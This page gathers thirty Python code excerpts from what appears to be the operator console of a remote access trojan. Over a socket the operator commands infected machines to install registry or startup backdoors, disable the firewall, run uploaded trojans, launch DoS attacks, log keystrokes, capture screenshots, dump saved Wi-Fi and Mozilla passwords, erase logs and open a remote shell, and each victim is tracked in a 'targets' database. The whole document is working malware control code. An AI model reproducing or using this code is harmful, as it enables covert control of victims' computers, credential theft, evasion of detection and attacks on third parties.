示例#1
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                if argument.status:
                    self.conn.send(Encode("backdoor<#>status"))
                elif argument.remove:
                    self.conn.send(Encode("backdoor<#>remove"))
                elif argument.registry:
                    self.conn.send(Encode("backdoor<#>registry"))
                elif argument.startup:
                    self.conn.send(Encode("backdoor<#>startup"))

                response = Decode(self.conn.recv(4096))

                if "installed." in response or "enable." in response:
                    self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?",
                                    (True, self.client_id))
                else:
                    self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?",
                                    (False, self.client_id))
                self.db.commit()

                pprint(response) if self.colors else pprint(gray(response))

            except:
                pass
示例#2
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                if argument.active:
                    self.conn.send(Encode("firewall<#>active"))
                elif argument.deactive:
                    self.conn.send(Encode("firewall<#>deactive"))
                elif argument.status:
                    self.conn.send(Encode("firewall<#>status"))

                response = Decode(self.conn.recv(4096))
                pprint("\n%s\n" %
                       response) if self.colors else pprint("\n%s\n" %
                                                            gray(response))

            except Exception as e:
                print(e)
示例#3
0
    def local_method(self):

        try:

            self.conn.send(
                Encode("runfile<#>" + self.trojan_name + "<#>LOCAL_GET"))
            trojan_file = open(self.trojan_name, "rb")
            chunk = trojan_file.read(4096)

            pprint(
                colorize("Local method detcted!\n",
                         colored=self.colors,
                         status="INF"))
            self.process_bar.start_process()

            self.conn.send(Encode("#IS_FILE"))
            sleep(0.1)

            while chunk:
                self.conn.send(chunk)
                sleep(0.1)
                chunk = trojan_file.read(4096)

            self.conn.send("#UPLOAD_END")
            trojan_file.close()
            status = Decode(self.conn.recv(4096))

            if status == "#OPENED":
                pprint(
                    colorize("Running successfull.",
                             colored=self.colors,
                             status="SUC"))
            elif status == "#NOT_OPENED":
                pprint(
                    colorize("Runtime error.\n",
                             colored=self.colors,
                             status="ERR"))
            else:
                pprint(status) if self.colors else pprint(gray(status))

            self.process_bar.Stop = True
            sleep(0.2)

        except IOError:

            self.conn.send(Encode("#NOT_FILE"))
            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)
            pprint(
                colorize("No file specified.\n",
                         colored=self.colors,
                         status="ERR"), 1)
示例#4
0
    def start(self):

        if self.command.strip() == "shutdown":

            self.conn.send(Encode(self.command))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        elif self.command.strip() == "reboot":

            self.conn.send(Encode(self.command))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))
示例#5
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:

                argument = self.parser.parse_args(self.args)

                self.conn.send(
                    Encode(" ".join([
                        "dos", argument.ip, argument.method,
                        str(argument.packets)
                    ])))
                attack_result = Decode(self.conn.recv(4096))

                while attack_result:

                    for line in attack_result.split("\n"):
                        pprint(line + '\n')
                        sleep(.03)

                    attack_result = Decode(self.conn.recv(4096))

                    if self.handler in attack_result:
                        pprint(
                            colorize("Attack stoppetd!\n\n",
                                     colored=self.colors,
                                     status="WAR"))
                        break
            except:
                pass
示例#6
0
def disconnect_it(client_id, connections, clients, root_path, logger, colors):

    lport = int(connections[client_id][5])
    rport = int(connections[client_id][4])
    rip = str(connections[client_id][3])
    cliuser = str(connections[client_id][2])

    for client in connections.keys():

        if client == client_id:
            conn = connections[client][0]

    # socket works
    try:
        conn.send(Encode("disconnect"))
    except:
        pass
    conn.close()

    chdir(root_path)

    logger.info("stop: " + clients[client_id])

    del connections[client_id]
    del clients[client_id]

    echo_des_message(client_id, lport, cliuser, rip, rport, colors)
示例#7
0
    def start(self):

        try:

            url = self.args[0]

            if url is not None:

                self.conn.send(Encode("ie<#>" + self.args[0]))
                response = Decode(self.conn.recv(4096))

                if "error" in response:
                    pprint(
                        colorize(response, colored=self.colors, status="ERR"))
                else:
                    pprint(
                        colorize(response, colored=self.colors, status="SUC"))
            else:
                pprint(
                    colorize(" usage: explorer google.com",
                             colored=self.colors,
                             status="INF"), 1)

        except Exception as e:
            pprint(colorize(str(e) + '\n', colored=self.colors, status="ERR"),
                   1)
示例#8
0
    def recive_online(self):

        self.conn.send(Encode("#FSCAN"))

        text = colorize("scanning", colored=self.colors, status="INF")
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        response = Decode(self.conn.recv(4096))

        # write data to disk
        with open(self.scan_file, "w") as info_file:
            info_file.write(response.replace(self.handler, "").rstrip())
        info_file.close()

        process_bar.Stop = True
        sleep(0.2)

        pprint("\n")
        pprint(response.replace(self.handler, "").rstrip())
        pprint("\n\n")

        self.db_con.execute(
            "UPDATE targets SET oPorts=? WHERE id=?",
            (response.replace(self.handler, "").rstrip(), self.client_id))
        self.db_con.commit()
示例#9
0
    def kill_process(self, pid):

        try:

            pid = pid[1].strip()

            if pid != "":
                self.conn.send(Encode("kill " + pid)); sleep(0.1)
                response = Decode(self.conn.recv(4096))
                pprint(response) if self.colors else pprint(gray(response))

            else:
                pprint(
                    colorize(
                        "No PID specified.\n",
                        colored=self.colors,
                        status="ERR"
                    ), 1)

        except:
            pprint(
                colorize(
                    "Kill error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#10
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:

                argument = self.parser.parse_args(self.args)

                finall_command = "{}<#>{}<#>{}<#>{}<#>{}".format(
                    "msgbox",
                    argument.title,
                    argument.message,
                    argument.icon,
                    argument.button,
                )
                self.conn.send(Encode(finall_command))
                result = Decode(self.conn.recv(4096))

                if "error" in result:
                    pprint(colorize(result, colored=self.colors, status="ERR"))
                else:
                    pprint(colorize(result, colored=self.colors, status="SUC"))

            except:
                pass
示例#11
0
    def dump_changes(self):

        self.conn.send(Encode(">ch4ng3s<"))
        recived_data = Decode(self.conn.recv(4096))

        while self.handler not in recived_data:
            pprint(recived_data)
            sleep(0.1)
            recived_data = Decode(self.conn.recv(4096))
示例#12
0
    def prepare_basics(self):

        self.conn.send(Encode(">screensh0t<"))
        text = colorize("capturing", colored=self.colors, status="INF")
        self.process_bar = ParatProcessBar(text)
        self.process_bar.start_process()

        self.filename = "scr_" + rand_str(5)
        self.filename += ".bmp"
        self.screenshot_file = open(self.filename, 'wb')
示例#13
0
    def touch_file(self, args):

        parser = argparse.ArgumentParser(
            prog="modules.File",
            usage="touch -n/--name NAME [-t/--text CONTENT]",
            description="simple command for create files")

        parser.add_argument('-n',
                            '--name',
                            required=True,
                            help="file name you want to create")
        parser.add_argument('-t',
                            '--text',
                            metavar="CONTENT",
                            help="create file with this content")

        if args is None or len(args) == 0 or args[0] in self.helps:
            parser.print_help()

        else:

            try:

                argument = parser.parse_args(args)

                if argument.text:

                    command = "touch<#>name_and_text<#>" + argument.name + "<#>" + argument.text
                    self.conn.send(Encode(command))
                    response = Decode(self.conn.recv(4096))
                    pprint(response) if self.colors else pprint(gray(response))

                else:

                    command = "touch<#>name<#>" + argument.name
                    self.conn.send(Encode(command))
                    response = Decode(self.conn.recv(4096))
                    pprint(response) if self.colors else pprint(gray(response))

            except:
                pass
示例#14
0
    def start(self):
        def print_current_path():

            self.conn.send(Encode("ENTER"))
            response = Decode(self.conn.recv(4096))
            pprint(response)

        self.conn.send(Encode(self.command))
        pprint("\n")

        while True:

            try:

                prompt = Decode(self.conn.recv(4096))
                self.command = raw_input(prompt)

                if len(self.command) != 0:

                    if self.command != "exit":
                        self.conn.send(Encode(self.command))
                        response = Decode(self.conn.recv(4096))
                        pprint(response)

                    else:
                        self.conn.send(Encode(self.command))
                        pprint("\n")
                        break
                else:
                    print_current_path()

            except EOFError:
                print_current_path()

            except Exception as e:
                # import traceback; traceback.print_exc()
                pprint(
                    colorize(str(e) + '\n', colored=self.colors, status="ERR"),
                    1)
                break
示例#15
0
    def download(self, args):

        file_name = args[0]

        if file_name != "":

            self.conn.send(Encode("download<#>" + file_name))
            recive_data = self.conn.recv(4096)

            if "File '%s' not found." % file_name in recive_data or "Unknown error" in recive_data:
                pprint(
                    colorize(
                        recive_data,
                        colored=self.colors,
                        status="ERR"
                    ), 1)

            else:
                recive_file = open(file_name.strip(), "wb")
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                while recive_data:
                    recive_file.write(recive_data)
                    sleep(0.1)
                    recive_data = self.conn.recv(4096)

                    if self.handler in recive_data:
                        process_bar.Stop = True; break

                recive_file.close()
                process_bar.Stop = True
                sleep(0.2)
                pprint(
                    colorize(
                        "Download complete -> %s\n" % file_name,
                        colored=self.colors,
                        status="SUC"
                    ))
        else:
            pprint(
                colorize(
                    "No specified file.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#16
0
    def start(self):

        try:

            if len(self.args) == 0:
                pprint(
                    colorize(
                        "usage: wget http://google.com/file.any\n",
                        colored=self.colors,
                        status="INF"
                    ))
            else:
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                url_address = self.args[0]

                if url_address.strip() != "":

                    start_download_from_url = "wget<#>" + url_address
                    self.conn.send(Encode(start_download_from_url))
                    response = str(Decode(self.conn.recv(4096)))

                    process_bar.Stop = True
                    sleep(0.2)
                    pprint(response) if self.colors else pprint(gray(response))

                else:
                    pprint(
                        colorize(
                            "No specified url.\n",
                            colored=self.colors,
                            status="ERR"
                        ))
        except:

            if process_bar:
                process_bar.Stop = True;
                sleep(0.2)

            pprint(
                colorize(
                    "Url error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#17
0
    def read_offline(self):

        self.conn.send(Encode("#NFSCAN"))
        with open(self.scan_file, 'r') as info:

            content = info.read()

            pprint('\n' + content + '\n\n')

            self.db_con.execute("UPDATE targets SET oPorts=? WHERE id=?",
                                (content, self.client_id))
            self.db_con.commit()

        info.close()
示例#18
0
    def start(self):

        try:
            self.conn.send(Encode("scan"))

            # check for first connection
            if self.uflag or not os.path.isfile(self.scan_file):
                self.recive_online()
            else:
                self.read_offline()

        except Exception as e:

            pprint(colorize(str(e) + "\n", colored=self.colors, status="ERR"),
                   1)
示例#19
0
    def make_directory(self, new_folder):

        if new_folder is not None and len(new_folder) != 0:

            new_folder = new_folder[0].strip()

            self.conn.send(Encode("mkdir<#>" + new_folder))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: mkdir \"New Foler\" \n",
                         colored=self.colors,
                         status="INF"))
示例#20
0
    def change_directory(self, dirc):

        if dirc is not None and len(dirc) != 0:

            directory = dirc[0].strip()

            self.conn.send(Encode("cd<#>" + directory))

            response = Decode(self.conn.recv(4096)) + "\n"
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: cd \"New Folder\" \n",
                         colored=self.colors,
                         status="INF"))
示例#21
0
    def start(self):

        self.conn.send(Encode("rmlog"))

        text = colorize(
            "cleaning logs",
            colored=self.colors,
            status="INF"
        )
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        result = Decode(self.conn.recv(4096))
        process_bar.Stop = True
        sleep(0.2)

        pprint(result) if self.colors else pprint(gray(result))
示例#22
0
    def remove(self, arg):

        if arg is not None and len(arg) != 0:

            arg = arg[0].strip()
            folder_flag = False
            file_flag = False

            self.conn.send(Encode("rmv<#>" + arg))

            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: rmv anything\n",
                         colored=self.colors,
                         status="INF"))
示例#23
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.handlerTxt:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                final_command = "pzip<#>{}<#>{}".format(
                    argument.file, argument.passwd)
                self.conn.send(Encode(final_command))

                response = Decode(self.conn.recv(4096))
                pprint(response) if self.colors else pprint(gray(response))

            except:
                pass
示例#24
0
    def dump_keys(self):

        try:

            if not isfile(self.keylogger_name):
                system("touch '{}'".format(self.keylogger_name))

            self.conn.send(Encode(">keyl0gger<"))
            recived_data = Decode(self.conn.recv(4096))
            pprint(recived_data)

            system("echo '{}' >> {}".format(recived_data, self.keylogger_name))

        except Exception as e:

            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#25
0
    def remote_method(self):

        try:

            pprint(
                colorize("Remote method detcted!\n",
                         colored=self.colors,
                         status="INF"))
            self.process_bar.start_process()

            self.conn.send(
                Encode("runfile<#>" + self.trojan_name + "<#>REMOTE_GET"))
            exec_status = Decode(self.conn.recv(4096))

            if exec_status == "#OPENED":
                pprint(
                    colorize("Running successfull.",
                             colored=self.colors,
                             status="SUC"))
            elif status == "#NOT_OPENED":
                pprint(
                    colorize("Runtime error.\n",
                             colored=self.colors,
                             status="ERR"))
            else:
                pprint(status) if self.colors else pprint(gray(status))

            self.process_bar.Stop = True
            sleep(0.2)

        except:

            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)

            pprint(
                colorize("Running failed.\n",
                         colored=self.colors,
                         status="ERR"), 1)
示例#26
0
    def start(self):

        if len(self.program) == 0:
            pprint(
                colorize("usage: uninstall 'Adobe Acrobat Reader DC'\n",
                         colored=self.colors,
                         status="INF"))

        else:

            text = colorize("tring for uninstall",
                            colored=self.colors,
                            status="INF")
            process_bar = ParatProcessBar(text)
            process_bar.start_process()

            self.conn.send(Encode("uninstall<#>" + self.program[0]))
            result = Decode(self.conn.recv(4096))

            process_bar.Stop = True
            sleep(0.2)
            pprint(result) if self.colors else pprint(gray(result))
示例#27
0
    def get_all(self):

        self.conn.send(Encode("getps"))
        proc = Decode(self.conn.recv(4096))

        while 1:

            if "GETPS ERROR!" in proc:
                pprint(
                    colorize(
                        proc,
                        colored=self.colors,
                        status="ERR"
                )); break

            else:

                pprint(proc.replace('\n', '') + '\n')
                sleep(0.01)
                proc = Decode(self.conn.recv(4096))

                if self.handler in proc:
                    pprint("\n"); break
示例#28
0
    def dump_wifi(self, update=False):

        try:

            if not isfile(self.path_to_wifi) or update:

                self.conn.send(Encode(">wif1<"))

                text = colorize(
                    "dumping wifi",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                recived_data = Decode(self.conn.recv(4096))
                full_content = ""

                if "No wifi(es) found." in recived_data:
                    full_content = recived_data

                else:

                    while recived_data:

                        recived_data += "\n"
                        full_content += recived_data
                        recived_data = Decode(self.conn.recv(4096))
                        sleep(0.1)

                        if self.handler in recived_data:
                            full_content = full_content.replace(self.handler, "").rstrip() + "\n"; break


                with open(self.wifi_file_name, 'wb') as wifi_file:
                    wifi_file.write(full_content)
                wifi_file.close()

                process_bar.Stop = True
                sleep(0.2)
                pprint(
                    colorize(
                        "successfull!\n",
                        colored=self.colors,
                        status="SUC"
                    ))
            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:
            system("cat '{}'".format(self.path_to_wifi))
示例#29
0
    def dump_mozilla(self, update=False):

        try:

            if not isfile(self.path_to_mozilla) or update:

                self.conn.send(Encode("passwords<#>mozilla"))

                text = colorize(
                    "dumping mozilla passwords",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                result = Decode(self.conn.recv(4096))
                full_content = result

                if "No password" in result or "Could not" in result or "doesn't exists" in result or "[!]" in result:
                    pass

                else:

                    while True:

                        full_content += result
                        result = Decode(self.conn.recv(4096))
                        sleep(0.1)

                        if self.handler in result:
                            full_content += "\n"; break

                with open(self.mozilla_file_name, 'wb') as moz_file:
                    moz_file.write(full_content)
                moz_file.close()

                process_bar.Stop = True; sleep(0.2)
                pprint(
                    colorize(
                        "successfull!\n",
                        colored=self.colors,
                        status="SUC"
                    ))

            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:

            mfile = open(self.path_to_mozilla, 'r')
            mcontent = mfile.read()

            self.db.execute("UPDATE targets SET Mozilla=? WHERE id=?", (mcontent, self.client_id))
            self.db.commit()

            pprint(mcontent + "\n")

            mfile.close()
示例#30
0
    def dump_programs(self, update=False):

        try:

            if not isfile(self.path_to_pfile) or update:

                self.conn.send(Encode("programs"))
                program_file = open("null.txt", 'wb')

                text = colorize(
                    "dumping programs",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()
                program = self.conn.recv(4096)

                while program:

                    if self.handler in program:
                        program = program.replace(self.handler, "").rstrip()
                        break

                    program_file.write(program)
                    sleep(0.1)
                    program = self.conn.recv(4096).rstrip()

                program_file.close()

                system(r"tr < null.txt -d '\000' > programs.txt")
                sleep(.1)
                system("rm null.txt")

                process_bar.Stop = True; sleep(0.2)
                pprint(
                    colorize(
                        "Programs dumped: %s\n\n" % \
                        self.programs_file_name,
                        colored=self.colors,
                        status="SUC"
                    ))
            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)

            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)


        else:

            displayer  = "\n   \033[1;34mName" + " "*105 + "Version\033[1;m\n "
            displayer += "=" * 123

            with open(self.path_to_pfile, "r") as progs_file:

                pcontent = progs_file.read()
                result = re.findall(r'Name=(.+$)\nVersion=(.+$)', pcontent, re.MULTILINE)

                self.db.execute("UPDATE targets SET Programs=? WHERE id=?", (str(result), self.client_id))
                self.db.commit()

                pprint(displayer + '\n') if self.colors else pprint(gray(displayer) + '\n')

                for i, program in enumerate(result, 1):

                    name = re.sub(r'\\x.{2}.?', "", repr(program[0].replace("\r", ""))).replace("'", "")
                    ver  = program[1].replace("\r", "")
                    pprint(" {:<110}{}\n".format(str(i) + "-" + name, ver))

                pprint("\n")

            progs_file.close()